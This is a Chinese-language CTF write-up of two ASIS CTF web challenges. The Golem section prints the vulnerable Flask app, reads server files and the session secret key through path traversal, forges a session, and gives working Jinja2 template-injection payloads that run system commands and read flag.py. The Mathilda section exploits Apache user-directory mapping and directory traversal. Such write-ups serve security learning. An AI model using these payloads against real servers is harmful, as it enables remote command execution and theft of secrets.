Golem is stupid!
ASIS CTF 的一道 Web,打开 题目页面 https://golem.asisctf.com/
image.png查看了一下,没有什么敏感信息。于是操作输入框。
发现网页将刚才输入的元素展示出来,并且提供了一个链接
image.png打开链接,发现这里可能出现问题。实验一下,果然暴露出了路径
image.png尝试使用目录穿越,成功获取了服务器上的 passwd。
image.png由于之前并没有看出这个 web 服务是什么启动的,因此访问路径 https://golem.asisctf.com/article?name=../../../../../proc/self/cmdline
看一下这个服务的启动参数
依次查看参数,果然发现其启动文件
image.png查看之,这是一个python flask 服务,把用户的输入渲染到页面上来。在简单的过滤之后调用函数 render_template_string
进行渲染。这是一个危险的信号,有可能触发 SSTI。
import os
from flask import (
Flask,
render_template,
request,
url_for,
redirect,
session,
render_template_string
)
from flask.ext.session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/golem", methods=["GET", "POST"])
def golem():
if request.method != "POST":
return redirect(url_for("index"))
golem = request.form.get("golem") or None
if golem is not None:
golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "golem" not in session or session['golem'] is None:
session['golem'] = golem
template = None
if session['golem'] is not None:
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<h1>Golem Name</h1>
<div class="row>
<div class="col-md-6 col-md-offset-3 center">
Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?
</div>
</div>
{%% endblock %%}
''' % session['golem']
print
session['golem'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/golem/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
继续观察程序逻辑,首先程序过滤用户输入中的 ‘{’、‘}’、‘_’、‘.’,接着将用户输入保存在 session 中,渲染页面时再从 session 中获取并拼接到模板中,调用 render_template_string
渲染页面。
一般而言存在 session 中的东西是不能够伪造的,然而我们可以通过目录穿越直接访问到 seesion key~从而可以伪造之
image.png编写一个 Flask 服务,使用获取的服务器 seesion key。传入参数 ?golem={{%20[].__class__.__base__.__subclasses__()[59].__init__.func_globals[%27linecache%27].__dict__[%27os%27].system(%27id%27)%20}}
可以通过 catch_warnning 执行任意系统命令。
from flask import (
Flask,
render_template,
request,
url_for,
redirect,
session,
render_template_string
)
from flask.ext.session import Session
app = Flask(__name__)
app.secret_key = "7h15_5h0uld_b3_r34lly_53cur3d"
@app.route('/',methods=["GET","POST"])
def hello_world():
golem = request.args.get('golem')
session['golem'] = golem
return session['golem']
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
将页面上的 session 替换为本地伪造的 session ,golem 也会被替换。这里可能还有一些验证,将参数变化为 {{ [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].popen('cat flag.py').read()}}
便可以读取了。
Refenrence
- http://blog.portswigger.net/2015/08/server-side-template-injection.html
- http://www.evil0x.com/posts/16083.html
- http://docs.jinkan.org/docs/flask/quickstart.html#quickstart
- http://rickgray.me/2016/02/24/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates.html
Mathilda
打开网页,好像没有什么东西,查看源码,发现有 ~rooney
,好像是一个映射。
访问之
发现一个链接,访问之,发现有目录穿越,只是过滤了 ../
,修改一下
查看这个 web 服务是什么程序启动的。发现是 apache
image.png根据 apache 映射的原则,波浪线映射的位置应该是位于 /home/rooney/public_html
中,于是访问之,发现敏感信息,猜测文件位置可能在 files 目录下。
于是访问之,果然。
image.pngflag 的位置仍需要猜测,想到 passwd 中还有一个奇怪的用户名,于是照例访问之
image.png成功
Refenrence
总结
感谢 EM 大佬的帮助
image.png
网友评论